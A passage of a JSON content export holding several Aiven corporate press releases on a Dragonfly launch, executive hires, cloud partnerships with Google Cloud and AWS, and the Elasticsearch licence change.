Dragonfly"}],"markDefs":[],"style":"normal"},{"_key":"cbb0127603f6","_type":"block","children":[{"_key":"26f34db795360","_type":"span","marks":[],"text":"DragonflyDB is a software company with dual headquarters in Tel Aviv and San Francisco. DragonflyDB is the inventor and maintainer of the "},{"_key":"20b231407967","_type":"span","marks":["8fa99c36ce04"],"text":"Dragonfly"},{"_key":"2d2e26d21da4","_type":"span","marks":[],"text":" project on GitHub, which is a highly scalable and cost-effective alternative to Redis. DragonflyDB also offers Dragonfly Cloud, a fully managed in-memory data store."}],"markDefs":[{"_key":"8fa99c36ce04","_type":"internalLink","internalLink":{"_ref":"2b6668a5-9493-497a-bf05-bc3dac0c8851","_type":"reference"}}],"style":"normal"},{"_key":"09892ed4d7b4","_type":"block","children":[{"_key":"4ee9275c0fe8","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"4a1e57370356","_type":"block","children":[{"_key":"72b69de006de0","_type":"span","marks":["strong"],"text":"Media Contacts"}],"markDefs":[],"style":"normal"},{"_key":"f1b84ca5cb97","_type":"block","children":[{"_key":"1fa8008c5a760","_type":"span","marks":[],"text":"press@aiven.io"}],"markDefs":[],"style":"normal"},{"_key":"69d40f6a08db","_type":"block","children":[{"_key":"ff15a32b5a4f","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"c1460ff40f80","_type":"block","children":[{"_key":"768997e80fd20","_type":"span","marks":[],"text":"[1] Benchmark performed on an AWS environment, with instance types that vary from 8 CPUs and 64GB RAM, 16 CPUs and 256GB RAM, and 32CPUs and 512GB RAM."}],"markDefs":[],"style":"normal"},{"_key":"d98b949af7eb","_type":"block","children":[{"_key":"bc8eb58ac91b0","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"f9d3575228f9","_type":"block","children":[{"_key":"271e8c66f9260","_type":"span","marks":[],"text":"[2] Gartner, Market Share Analysis: Database Management Systems, Worldwide, 2022, 8 June 2023. GARTNER is a registered trademark and service mark of Gartner, Inc. and/or its affiliates in the U.S. and internationally and is used herein with permission. All rights reserved"}],"markDefs":[],"style":"normal"},{"_key":"4cb54c700964","_type":"block","children":[{"_key":"e7a71e03241d0","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"}],"publishedAt":"2024-03-20T07:05:34.002Z","seo":{"_type":"metaData","metaDescription":"Aiven for Dragonfly delivers scale and performance for data hungry businesses","metaTitle":"General Availability of Aiven for Dragonfly"},"slug":{"_type":"slug","current":"/press/general-availability-of-aiven-for-dragonfly"},"subtitle":"Aiven for Dragonfly delivers scale and performance for data hungry businesses","title":"General Availability of Aiven for Dragonfly Boosts Data Performance by 700% to Help Solve Redis Scalability Issues"} {"__i18n_lang":"en","_createdAt":"2022-06-17T22:42:59Z","_id":"eIT6RNTnBxOiMc04ccNuh","_rev":"3re4XGUaXqpLG8nUTzj5Sc","_type":"pressRelease","_updatedAt":"2022-12-20T07:32:14Z","body":"__Helsinki, Finland__\n\n[Aiven](https://aiven.io/ \"Aiven homepage\"), a startup that combines the best open source technologies with cloud infrastructure, announced today that Emma Paajanen and Jani Asikanius joined the company as the new VP of marketing and VP of sales, EMEA, respectively. Both executives bring a wealth of experience to the team and will look to continue the company’s growth initiatives.\n\nThe strategic additions come shortly after Aiven’s recent $40M [Series B](https://aiven.io/press/aiven-raises-40-million-series-b/ \"Aiven series b announcement\"). Following the round, Aiven put an emphasis on several new growth initiatives to expand sales teams and heighten global recognition of Aiven’s product offering. \n\n“We’re excited to have Emma and Jani join the Aiven executive team,” said Oskari Saarenmaa, CEO of Aiven. “Both have tremendous expertise, and we look forward to them bringing their years of knowledge and experience to help propel Aiven's growth initiatives.”\n\nPaajanen has more than 10 years of communications and marketing experience. Prior to joining Aiven, she served as director of marketing at F-Secure, a global cyber security company, as well as a communications consultant for Nokia Technologies.\n\n“Aiven is entering an exciting growth phase, and I look forward to being part of a team that gets to help foster the brand and generate product demand through direct digital customer acquisition,” Paajanen said. “There’s a rising importance and recognition around open source software, and I’m looking forward to creating opportunities for Aiven to be a part of those continued conversations.” \n\nAsikanius brings more than 20 years of sales and leadership experience with him to Aiven. Before joining the company, he held the position of VP of sales for EMEA and APAC at Idomoo, a personalized video as a service (PVaaS) platform. His experience also includes leadership and sales roles at technology leaders like NetCracker and Amdocs.\n\n“Following the recent funding round and major expansion of the sales team in the Americas, I’m thrilled to lead the sales team’s growth initiatives in EMEA,” Asikanius said. “Aiven has grown at a tremendous rate, and I’m looking forward to continuing that by extending our business with the existing customer base and bringing Aiven’s cutting edge solution to new customers.”\n\nTo learn more about Aiven’s leadership team, visit [https://aiven.io/about](https://aiven.io/about \"Aiven about page\"). \n\n__About Aiven__\n\nHeadquartered in Helsinki with offices in Berlin, Sydney and Boston, Aiven is an SOC 2 and ISO 27001 certified cloud data platform provider, operating managed open source database, event streaming, cache, search, and graphing solutions for over customers worldwide.\n\nYou can visit [https://aiven.io](https://aiven.io) for more information or follow Aiven on Twitter: [@aiven_io](https://twitter.com/aiven_io).","content":[{"_key":"ilTIzYNw","_type":"block","children":[{"_key":"4f446c74f2ba","_type":"span","marks":["strong"],"text":"HELSINKI, Finland — May 12, 2020-"},{"_key":"Z931b4gW","_type":"span","marks":["m8361271684680"],"text":"Aiven"},{"_key":"krdBkMUC","_type":"span","marks":[],"text":", a startup that combines the best open source technologies with cloud infrastructure, announced today that Emma Paajanen and Jani Asikanius joined the company as the new VP of marketing and VP of sales, EMEA, respectively. Both executives bring a wealth of experience to the team and will look to continue the company’s growth initiatives."}],"markDefs":[{"_key":"m8361271684680","_type":"link","href":"https://aiven.io/"}],"style":"normal"},{"_key":"n2mBKjS9","_type":"block","children":[{"_key":"CRf6kXVg","_type":"span","marks":[],"text":"The strategic additions come shortly after Aiven’s recent $40M "},{"_key":"AbZLGm1U","_type":"span","marks":["m792217054649"],"text":"Series B"},{"_key":"MsMMHXFn","_type":"span","marks":[],"text":". Following the round, Aiven put an emphasis on several new growth initiatives to expand sales teams and heighten global recognition of Aiven’s product offering."}],"markDefs":[{"_key":"m792217054649","_type":"link","href":"https://www.tfir.io/aiven-raises-40-million-in-series-b-funding/"}],"style":"normal"},{"_key":"XTBo6eiJ","_type":"block","children":[{"_key":"uqKKVmN9","_type":"span","marks":[],"text":"“We’re excited to have Emma and Jani join the Aiven executive team,” said Oskari Saarenmaa, CEO of Aiven. “Both have tremendous expertise, and we look forward to them bringing their years of knowledge and experience to help propel Aiven's growth initiatives.”"}],"markDefs":[],"style":"normal"},{"_key":"rDBWxcey","_type":"block","children":[{"_key":"TbX6ItU1","_type":"span","marks":[],"text":"Paajanen has more than 10 years of communications and marketing experience. Prior to joining Aiven, she served as director of marketing at F-Secure, a global cyber security company, as well as a communications consultant for Nokia Technologies."}],"markDefs":[],"style":"normal"},{"_key":"3RB9zg8U","_type":"block","children":[{"_key":"mecQhADv","_type":"span","marks":[],"text":"“Aiven is entering an exciting growth phase, and I look forward to being part of a team that gets to help foster the brand and generate product demand through direct digital customer acquisition,” Paajanen said. “There’s a rising importance and recognition around open source software, and I’m looking forward to creating opportunities for Aiven to be a part of those continued conversations.”"}],"markDefs":[],"style":"normal"},{"_key":"krcIFIpL","_type":"block","children":[{"_key":"5eN2wbdx","_type":"span","marks":[],"text":"Asikanius brings more than 20 years of sales and leadership experience with him to Aiven. Before joining the company, he held the position of VP of sales for EMEA and APAC at Idomoo, a personalized video as a service (PVaaS) platform. His experience also includes leadership and sales roles at technology leaders like NetCracker and Amdocs."}],"markDefs":[],"style":"normal"},{"_key":"cLYVKpNj","_type":"block","children":[{"_key":"Rvs1BtkQ","_type":"span","marks":[],"text":"“Following the recent funding round and major expansion of the sales team in the Americas, I’m thrilled to lead the sales team’s growth initiatives in EMEA,” Asikanius said. “Aiven has grown at a tremendous rate, and I’m looking forward to continuing that by extending our business with the existing customer base and bringing Aiven’s cutting edge solution to new customers.”"}],"markDefs":[],"style":"normal"},{"_key":"K2SlxC69","_type":"block","children":[{"_key":"FCn8uauV","_type":"span","marks":[],"text":"To learn more about Aiven’s leadership team, visit "},{"_key":"pYT7elWr","_type":"span","marks":["m9694267506917"],"text":"https://aiven.io/about"},{"_key":"XDmFGXlZ","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m9694267506917","_type":"link","href":"https://aiven.io/about"}],"style":"normal"},{"_key":"DPZpzo44","_type":"block","children":[{"_key":"l5MmD0xH","_type":"span","marks":["strong"],"text":"About Aiven"}],"markDefs":[],"style":"normal"},{"_key":"VnP5jDNM","_type":"block","children":[{"_key":"fsERbO7T","_type":"span","marks":[],"text":"Headquartered in Helsinki with offices in Berlin, Sydney and Boston, Aiven is an SOC 2 and ISO 27001 certified cloud data platform provider, operating managed open source database, event streaming, cache, search, and graphing solutions for over customers worldwide."}],"markDefs":[],"style":"normal"},{"_key":"oP25Aeap","_type":"block","children":[{"_key":"sdPyG7eB","_type":"span","marks":[],"text":"You can visit "},{"_key":"gLBKbrUK","_type":"span","marks":["m3875742048231"],"text":"https://aiven.io"},{"_key":"b7WJmm12","_type":"span","marks":[],"text":" for more information or follow Aiven on Twitter: "},{"_key":"20ytBBqM","_type":"span","marks":["m17467540486251"],"text":"@aiven_io"},{"_key":"g97NN2PD","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m3875742048231","_type":"link","href":"https://aiven.io"},{"_key":"m17467540486251","_type":"link","href":"https://twitter.com/aiven_io"}],"style":"normal"}],"publishedAt":"2020-05-12T00:00:00.000Z","seo":{"metaDescription":"Aiven’s additions include a VP of marketing and a VP of sales, EMEA to help the tech company to continue advancing its international traction.","metaTitle":"Aiven adds two executive hires to fuel global expansion"},"slug":{"_type":"slug","current":"/press/aiven-adds-two-executive-hires-to-fuel-global-expansion"},"subtitle":"Aiven’s additions include a VP of marketing and a VP of sales, EMEA to help the tech company to continue advancing its international traction.","title":"Aiven adds two executive hires to fuel global expansion"} {"__i18n_lang":"en","_createdAt":"2024-10-01T14:36:32Z","_id":"3ea23ffa-ab8d-4a18-abb7-e689516a356b","_rev":"HbJlGL0WtkWKsJiz7oG9ET","_type":"pressRelease","_updatedAt":"2024-10-02T13:48:20Z","content":[{"_key":"88f6fb849129","_type":"block","children":[{"_key":"8c69d87487dc0","_type":"span","marks":["strong"],"text":"Helsinki, Finland - October 2nd, 2024"},{"_key":"57c4e0ea6032","_type":"span","marks":[],"text":" - Aiven, the trusted data and AI platform company, today announced its strategic partnership with Google Cloud and the launch of "},{"_key":"db0a1b57035e","_type":"span","marks":["bd54fd1a3dfc"],"text":"Aiven for AlloyDB Omni"},{"_key":"7b4b9157c088","_type":"span","marks":[],"text":". The collaboration will combine the high-performance of Google Cloud's downloadable database, AlloyDB Omni, with Aiven's fully managed, multi-cloud, data infrastructure platform."}],"markDefs":[{"_key":"bd54fd1a3dfc","_type":"link","href":"https://aiven.io/alloydb-omni"}],"style":"normal"},{"_key":"1006cffffc51","_type":"block","children":[{"_key":"0d493b4dbb9c0","_type":"span","marks":[],"text":"As a managed cloud database service, Aiven for AlloyDB Omni will provide organizations with a simplified and secure way to deploy, manage, and scale AlloyDB Omni on Google Cloud, AWS, and Azure, allowing seamless multi-cloud operations for organizations. It will enable businesses to leverage Google Cloud’s industry-leading database service, AlloyDB Omni, while minimizing operational overhead and simplifying database management, allowing them to focus on building innovative applications and driving business value."}],"markDefs":[],"style":"normal"},{"_key":"db14ea98566c","_type":"block","children":[{"_key":"3e5656653a400","_type":"span","marks":[],"text":"AlloyDB Omni offers organizations exceptional performance* and scalability for PostgreSQL workloads, delivering more than 2X faster performance than standard PostgreSQL for transactional workloads, 100X faster analytical queries than standard PostgreSQL, and 4X faster vector queries than the HNSW index in standard PostgreSQL. With Aiven for AlloyDB Omni, businesses will be able to experience all of these benefits across multi-cloud environments while also integrating seamlessly into Aiven’s existing product portfolio, further strengthening its offerings to customers."}],"markDefs":[],"style":"normal"},{"_key":"a1f7b2c0ab01","_type":"block","children":[{"_key":"abdf2f00ba140","_type":"span","marks":[],"text":"\"Our partnership with Google Cloud will deliver AlloyDB Omni to our customers on their preferred infrastructure, regardless of whether it's AWS, Azure, or Google Cloud,\" said Oskari Saarenmaa, Chief Executive Officer, Aiven. \"It combines AlloyDB Omni's industry-leading technology with Aiven's expertise in managing multi-cloud data infrastructure, and empowers organizations to build and scale next-generation PostgreSQL applications faster and easier than ever before.\""}],"markDefs":[],"style":"normal"},{"_key":"9c86dc811b9f","_type":"block","children":[{"_key":"e20695eae0450","_type":"span","marks":[],"text":"\"In today's rapidly evolving digital landscape, businesses need the flexibility to run their databases and applications wherever they are, with superior performance, availability, and scale,\" said Andi Gutmans, GM \u0026 VP of Databases at Google Cloud. \"We developed AlloyDB Omni in order to enable our customers to run the most demanding PostgreSQL workloads in any environment including on-premises and across clouds. With Aiven for AlloyDB Omni, customers will now be able to get a fully managed AlloyDB Omni database service not only on Google Cloud, but also on AWS and Azure.”"}],"markDefs":[],"style":"normal"},{"_key":"40c4a86180bf","_type":"block","children":[{"_key":"df4bfe9bfa4b0","_type":"span","marks":[],"text":"Aiven for AlloyDB will provide:"}],"markDefs":[],"style":"normal"},{"_key":"a3d7e63eca43","_type":"block","children":[{"_key":"d92308db66130","_type":"span","marks":["strong"],"text":"Simplified Database Management:"},{"_key":"d92308db66131","_type":"span","marks":[],"text":" Aiven's expertise streamlines the complexities of deploying, managing, and scaling AlloyDB Omni, reducing time and resources for organizations to focus on their core business objectives."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"2c64089e6e67","_type":"block","children":[{"_key":"ce5f02f82c3a0","_type":"span","marks":["strong"],"text":"Multi-Cloud Flexibility:"},{"_key":"ce5f02f82c3a1","_type":"span","marks":[],"text":" The partnership enables organizations to deploy AlloyDB Omni on their preferred cloud platform (Google Cloud, AWS, Azure), providing the freedom to choose the best infrastructure for their specific needs."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"14070ee3fb0c","_type":"block","children":[{"_key":"b4d63d7f3cce0","_type":"span","marks":["strong"],"text":"Enhanced Security \u0026 Compliance:"},{"_key":"b4d63d7f3cce1","_type":"span","marks":[],"text":" Aiven's platform ensures consistent security, compliance, and governance across all deployed AlloyDB Omni instances, regardless of the underlying cloud infrastructure."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"95fc175202d0","_type":"block","children":[{"_key":"9abba56dc6b00","_type":"span","marks":["strong"],"text":"Optimized Performance:"},{"_key":"9abba56dc6b01","_type":"span","marks":[],"text":" Aiven's expertise in cloud data infrastructure helps ensure optimal performance and scalability of AlloyDB Omni, leading to faster application response times and improved user experiences."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"7eeec5ea2e98","_type":"block","children":[{"_key":"d6de53ad9f8f0","_type":"span","marks":["strong"],"text":"Accelerated AI Adoption:"},{"_key":"d6de53ad9f8f1","_type":"span","marks":[],"text":" AlloyDB Omni's native vector search and Vertex AI integration, paired with Aiven's platform, will enable rapid development and deployment of AI-powered applications, unlocking deeper insights from data."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"c3126da10c11","_type":"block","children":[{"_key":"a4e5aa8d796a0","_type":"span","marks":[],"text":"Learn more about Aiven for AlloyDB Omni by reading Aiven’s "},{"_key":"08ba57d70ef3","_type":"span","marks":["0376cc2ad552"],"text":"blog article"},{"_key":"320b387205f9","_type":"span","marks":[],"text":" and visiting its "},{"_key":"ac6fbb9b1adb","_type":"span","marks":["2fddd7d45a5e"],"text":"product page"},{"_key":"f923d3456c51","_type":"span","marks":[],"text":" where organizations can sign up for additional information and early access. General availability is expected in 2025."}],"markDefs":[{"_key":"2fddd7d45a5e","_type":"link","href":"https://aiven.io/alloydb-omni"},{"_key":"0376cc2ad552","_type":"link","href":"https://aiven.io/blog/unleash-alloydb-omni-across-clouds"}],"style":"normal"},{"_key":"f2b19b2df363","_type":"block","children":[{"_key":"f91550ef6b260","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"bbe3f0a12a36","_type":"block","children":[{"_key":"2ff67e96b0ec0","_type":"span","marks":[],"text":"* Sources:"}],"markDefs":[],"style":"normal"},{"_key":"bb491356c510","_type":"block","children":[{"_key":"5c55077dd2300","_type":"span","marks":["2a9d0352e225"],"text":"Aiven for AlloyDB Omni"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"2a9d0352e225","_type":"link","href":"https://aiven.io/alloydb-omni"}],"style":"normal"},{"_key":"bdf005e09a3e","_type":"block","children":[{"_key":"c770e21e6d4c0","_type":"span","marks":["b38ce62d4f83"],"text":"Aiven Platform"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"b38ce62d4f83","_type":"internalLink","internalLink":{"_ref":"3b0bd26a-ed6b-424d-a710-7fe3f17b29de","_type":"reference"}}],"style":"normal"},{"_key":"7f6a1682c5ba","_type":"block","children":[{"_key":"3516b3fbb72a0","_type":"span","marks":["35a3e7a8e526"],"text":"AlloyDB Omni"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"35a3e7a8e526","_type":"link","href":"https://cloud.google.com/alloydb/omni?hl=en"}],"style":"normal"},{"_key":"909cbd69e426","_type":"block","children":[{"_key":"f333bb5f10b20","_type":"span","marks":["1e4c1ae3bd80"],"text":"AlloyDB AI"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"1e4c1ae3bd80","_type":"link","href":"https://cloud.google.com/alloydb/ai?hl=en"}],"style":"normal"},{"_key":"735ff6685b4d","_type":"block","children":[{"_key":"eaafe13218dc0","_type":"span","marks":["strong"],"text":"About Aiven"}],"markDefs":[],"style":"normal"},{"_key":"64f8a0a51348","_type":"block","children":[{"_key":"6fb8115900aa0","_type":"span","marks":[],"text":"Aiven is a global data and AI platform company that enables organizations to get more value from their data. The Aiven Data and AI Platform combines open-choice services to rapidly stream, store and serve data across major cloud providers — simply and securely. Aiven is trusted by thousands of customers worldwide to power their innovation and create next-generation applications confidently and quickly."}],"markDefs":[],"style":"normal"},{"_key":"f4477821e12c","_type":"block","children":[{"_key":"6d4ab0b2c4cb0","_type":"span","marks":[],"text":"Aiven is headquartered in Helsinki, Finland, with global offices in Europe, North America and Asia."}],"markDefs":[],"style":"normal"}],"publishedAt":"2024-10-02T14:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Aiven Partners with Google Cloud to Offer AlloyDB Omni on Amazon Web Services, Microsoft Azure and Google Cloud","metaImage":{"_type":"mainImage","asset":{"_ref":"image-8ef7015b457e7cd6a40bb8b88528f7e6171071ad-1200x630-jpg","_type":"reference"}},"metaTitle":"Strategic partnership with Google marks launch of Aiven for AlloyDB Omni"},"slug":{"_type":"slug","current":"/press/announcing-aiven-for-alloydb-omni"},"subtitle":"Strategic partnership marks launch of Aiven for AlloyDB Omni","title":"Aiven Partners with Google Cloud to Offer AlloyDB Omni on Amazon Web Services, Microsoft Azure and Google Cloud"} {"__i18n_lang":"en","_createdAt":"2024-10-07T08:28:14Z","_id":"61d7a1e9-f2f4-4472-ba71-7df43be47737","_rev":"exgZYl4YMpSEzTrzwwhM3k","_type":"pressRelease","_updatedAt":"2024-10-11T10:31:39Z","content":[{"_key":"fb420b05146e","_type":"block","children":[{"_key":"1a11f0e151fd0","_type":"span","marks":["em"],"text":"Helsinki, Finland - October 9, 2024"},{"_key":"1a11f0e151fd1","_type":"span","marks":[],"text":" – Aiven, the trusted data and AI platform company, announced today that it has signed a three-year strategic collaboration agreement with Amazon Web Services (AWS), to help customers focus on innovation and drive value from their data in a real-time, data-driven world."}],"markDefs":[],"style":"normal"},{"_key":"d1163527a8b4","_type":"block","children":[{"_key":"aa80cebe3d300","_type":"span","marks":[],"text":"Aiven has also achieved Amazon Web Services (AWS) Data and Analytics Competency status. This designation recognizes that Aiven’s powerful open-source data services, available on AWS, empower businesses with advanced data analytics capabilities while removing the complexities of managing the underlying infrastructure."}],"markDefs":[],"style":"normal"},{"_key":"d4702bfe57eb","_type":"block","children":[{"_key":"49d8259d665f0","_type":"span","marks":[],"text":"Under the strategic collaboration agreement, Aiven will provide its data platform services on AWS to help organizations stream, store, and serve data, simply and securely, and accelerate next-generation applications like AI/ML, confidently."}],"markDefs":[],"style":"normal"},{"_key":"4ef1617f22dc","_type":"block","children":[{"_key":"7bb1d75271df0","_type":"span","marks":[],"text":"“Aiven is proud to be recognised as a strategic partner and collaborator with AWS with the signing of the strategic collaboration agreement and to also achieve the Data and Analytics Competency status,” said Oskari Saarenmaa, Chief Executive Officer, Aiven. “Businesses see the value of data and real-time analytics on their revenue growth and customer satisfaction, and cloud choice is instrumental in achieving this. Our strengthened collaboration with AWS combines our data management platform and open-source expertise with AWS cloud technologies, offering our customers agility and scalability in the cloud and, ultimately, empowering them to innovate and respond to changing business needs at pace.”"}],"markDefs":[],"style":"normal"},{"_key":"931d7461e185","_type":"block","children":[{"_key":"33b15280c2f10","_type":"span","marks":[],"text":"\"Aiven is a great example of an AWS partner that is helping organizations to drive business transformation through implementing a robust data strategy,” said Antonio Alonso Lopez, Director of Partner Management, EMEA at AWS. “Through this strategic collaboration, we look forward to working together and unlocking value for customers with Aiven’s powerful open-source data platform combined with the unmatched scalability and security of the AWS Cloud.”"}],"markDefs":[],"style":"normal"},{"_key":"86415e5d3043","_type":"block","children":[{"_key":"b9ae032462c70","_type":"span","marks":[],"text":"idealo, one of Europe's leading online comparison platforms for products, is a data-intensive business benefiting from the Aiven and AWS relationship. idealo chose Aiven to manage its data infrastructure in AWS, removing the management burden from internal teams and allowing them to focus on innovation – and cementing its position in a highly competitive market. Using Aiven for Apache Kafka® on AWS helps idealo get the best prices to its customers in near real-time."}],"markDefs":[],"style":"normal"},{"_key":"0a25ac50e661","_type":"block","children":[{"_key":"beff24fc737f0","_type":"span","marks":[],"text":"“With 50,000 merchants and 500 million product offers, we handle massive amounts of data so having a fast, reliable data infrastructure is a critical part of our business model. People are interested in the best price now, not five minutes ago. Delays, inaccurate data or intermittent service could impact trust in the idealo brand,” said Wanis Fahmy, Senior Cloud Engineer, idealo.\n"}],"markDefs":[],"style":"normal"},{"_key":"b50b28721d7f","_type":"block","children":[{"_key":"e287b00816aa0","_type":"span","marks":["strong"],"text":"Achieving "},{"_key":"e287b00816aa1","_type":"span","marks":["strong","em"],"text":"AWS Data and Analytics Competency status"}],"markDefs":[],"style":"normal"},{"_key":"81102e0e2c98","_type":"block","children":[{"_key":"58997285eb7e0","_type":"span","marks":[],"text":"Achieving the AWS Data and Analytics Competency status differentiates Aiven as an AWS Partner Network (APN) member that provides specialized open-source data management services designed to help enterprises adopt, develop and deploy complex data projects on AWS. To receive the APN designation, Aiven has demonstrated deep AWS expertise and that its solutions run seamlessly on AWS."}],"markDefs":[],"style":"normal"},{"_key":"cef49d2f140f","_type":"block","children":[{"_key":"aa5bb78726cb0","_type":"span","marks":[],"text":"AWS provides the broadest and deepest set of managed services for data lakes and analytics, along with the largest partner community to help organizations to build virtually any data and analytics application in the cloud. AWS Data and Analytics Competency Partners like Aiven have demonstrated success in helping customers evaluate and use the tools and best practices for collecting, storing, governing and analyzing data at any scale."}],"markDefs":[],"style":"normal"},{"_key":"2241791de899","_type":"block","children":[{"_key":"d086795948750","_type":"span","marks":[],"text":"This is enabling scalable,flexible, and cost-effective solutions from startups to global enterprises. To support the seamless integration and deployment of these solutions, AWS established the"},{"_key":"d086795948751","_type":"span","marks":["6fb92fa13045"],"text":" AWS Competency Program"},{"_key":"d086795948752","_type":"span","marks":[],"text":" to help customers identify Consulting and Technology APN Partners with deep industry experience and expertise."}],"markDefs":[{"_key":"6fb92fa13045","_type":"link","href":"https://aws.amazon.com/partners/competencies/"}],"style":"normal"},{"_key":"7e3ff00b5bec","_type":"block","children":[{"_key":"518ef5b2b0160","_type":"span","marks":[],"text":"“Using data optimally can mean the difference between an organization’s success and failure,” said Elena Zykova, Vice President, Global Partnerships, Aiven. “Aiven is a committed AWS partner and achieving the AWS Data and Analytics Competency status is the next stage in our trajectory. We are all about providing customers with cloud choice and delivering complementary open-source data services that accelerate customer deployments and business advantage.\""}],"markDefs":[],"style":"normal"},{"_key":"9a8b8799891d","_type":"block","children":[{"_key":"75d7685a6dc60","_type":"span","marks":[],"text":"With a strong presence at the AWS Summits and AWS re:Invent 2024 in December, Aiven continues to build its strategic relationship with AWS, and bring more value to our joint customers. Aiven is available on the"},{"_key":"75d7685a6dc61","_type":"span","marks":["64d25c22dd7a"],"text":" AWS marketplace"},{"_key":"75d7685a6dc62","_type":"span","marks":[],"text":", where AWS customers can deploy any of the Aiven cloud services on its data platform, including Aiven for Apache Kafka®, Aiven for Apache Flink®, Aiven for OpenSearch®, Aiven for Apache Cassandra®, Aiven for PostgreSQL®, Aiven for MySQL®, and Aiven for Dragonfly®. Please visit "},{"_key":"75d7685a6dc63","_type":"span","marks":["8f58b678c084"],"text":"here"},{"_key":"75d7685a6dc64","_type":"span","marks":[],"text":" for a free trial."}],"markDefs":[{"_key":"64d25c22dd7a","_type":"link","href":"https://aws.amazon.com/marketplace/seller-profile?id=37261588-4513-4d54-9ef9-195534d74a1b"},{"_key":"8f58b678c084","_type":"link","href":"https://console.aiven.io/signup"}],"style":"normal"},{"_key":"59e8ee9dbf89","_type":"block","children":[{"_key":"7f8cb1f87ce6","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"b8093fa1e5c7","_type":"block","children":[{"_key":"258bd5259c210","_type":"span","marks":["strong"],"text":"About Aiven"}],"markDefs":[],"style":"normal"},{"_key":"039521bcdaab","_type":"block","children":[{"_key":"d9e70e3512520","_type":"span","marks":[],"text":"Aiven is a trusted data and AI platform company, helping organizations gain more value from their data. Aiven’s cloud platform combines open choice services to stream, store, and serve data, simply, securely, and rapidly across major cloud providers to power innovation. Aiven is trusted by thousands of customers to create next-generation applications confidently and quickly. You can visit us at"},{"_key":"d9e70e3512521","_type":"span","marks":["0a98d556f5ce"],"text":" aiven.io"},{"_key":"d9e70e3512522","_type":"span","marks":[],"text":" and follow us on"},{"_key":"d9e70e3512523","_type":"span","marks":["fdd50f8d6e25"],"text":" LinkedIn"},{"_key":"d9e70e3512524","_type":"span","marks":[],"text":" and X at @aiven_io"}],"markDefs":[{"_key":"0a98d556f5ce","_type":"link","href":"https://aiven.io"},{"_key":"fdd50f8d6e25","_type":"link","href":"https://www.linkedin.com/company/aiven/"}],"style":"normal"},{"_key":"62bf404c111c","_type":"block","children":[{"_key":"21fe88b1852c0","_type":"span","marks":[],"text":"\nFor Aiven media enquiries, please contact press@aiven.io"}],"markDefs":[],"style":"normal"}],"publishedAt":"2024-10-09T08:00:00.000Z","slug":{"_type":"slug","current":"/press/aiven-signs-strategic-collaboration-agreement-with-aws"},"subtitle":"- The trusted data and AI platform company also achieves AWS Data and Analytics Competency status\n\n- Signals Aiven’s deeper strategic partnership with AWS in leveraging the cloud to achieve mutual benefits and drive business impact","title":"Aiven Signs Strategic Collaboration Agreement with AWS to Help Companies Drive More Value from Their Data"} {"__i18n_lang":"en","_createdAt":"2022-06-17T22:42:59Z","_id":"3BVM4xUxwO1Yhrgv9jNJ4C","_rev":"neae7oL4y1FotDvvRLJMto","_type":"pressRelease","_updatedAt":"2024-07-11T12:31:03Z","content":[{"_key":"x5ij8shf","_type":"block","children":[{"_key":"410d9aec69a2","_type":"span","marks":["strong"],"text":"HELSINKI, Finland — January 19, 2021- "},{"_key":"szrjMcOQ","_type":"span","marks":[],"text":"On Thursday January 14, 2021, Elastic "},{"_key":"VLwEJTi9","_type":"span","marks":["m5499825968375"],"text":"announced"},{"_key":"DkYgbxMg","_type":"span","marks":[],"text":" their intention to move their Apache 2.0-licensed source code in Elasticsearch and Kibana to be dual licensed under Server Side Public License (SSPL) and the Elastic License."}],"markDefs":[{"_key":"m5499825968375","_type":"link","href":"https://www.elastic.co/blog/licensing-change"}],"style":"normal"},{"_key":"rXrvE5PD","_type":"block","children":[{"_key":"z8IyqTxx","_type":"span","marks":["strong"],"text":"UPDATE 2: Aiven has released "},{"_key":"FplAIo7m","_type":"span","marks":["strong","m10667120607854"],"text":"Aiven for OpenSearch"},{"_key":"xgvhhoai","_type":"span","marks":["strong"],"text":", built on Elasticsearch 7 and offering all the same functionality at the time of the launch."}],"markDefs":[{"_key":"m10667120607854","_type":"link","href":"https://aiven.io/blog/announcing-aiven-for-opensearch"}],"style":"normal"},{"_key":"cNUmH8ep","_type":"block","children":[{"_key":"hFJhH3K0","_type":"span","marks":["strong"],"text":"UPDATE: Read "},{"_key":"rml5Q9Hy","_type":"span","marks":["strong","m4114087295013"],"text":"our longer blog post"},{"_key":"JYMzNAzA","_type":"span","marks":["strong"],"text":" on this topic."}],"markDefs":[{"_key":"m4114087295013","_type":"link","href":"https://aiven.io/blog/keeping-elasticsearch-open"}],"style":"normal"},{"_key":"1j5lKpsZ","_type":"block","children":[{"_key":"vS0CimZe","_type":"span","marks":[],"text":"While we are sorry to see Elastic adopt a more restricted license strategy, "},{"_key":"1OaiHhCa","_type":"span","marks":["strong"],"text":"their announcement does not have any effect on the Elasticsearch service Aiven customers are currently using"},{"_key":"mjdzuz4z","_type":"span","marks":[],"text":". The new license only applies to future Elasticsearch versions and does not impact availability or maintenance of current Elasticsearch versions."}],"markDefs":[],"style":"normal"},{"_key":"9O4wBuQf","_type":"block","children":[{"_key":"TAdocLGJ","_type":"span","marks":[],"text":"We expect a community to form around the last open source release of Elasticsearch to continue its development, including building and incorporating new features that were previously not available in the open source release of Elasticsearch. Aiven will be part of this community, and we will communicate on the next steps in the coming weeks."}],"markDefs":[],"style":"normal"},{"_key":"D0QClpCi","_type":"block","children":[{"_key":"BWR0EuHl","_type":"span","marks":[],"text":"Aiven is unwavering in its commitment to offer open source technologies on its platform and supporting open source communities through continued 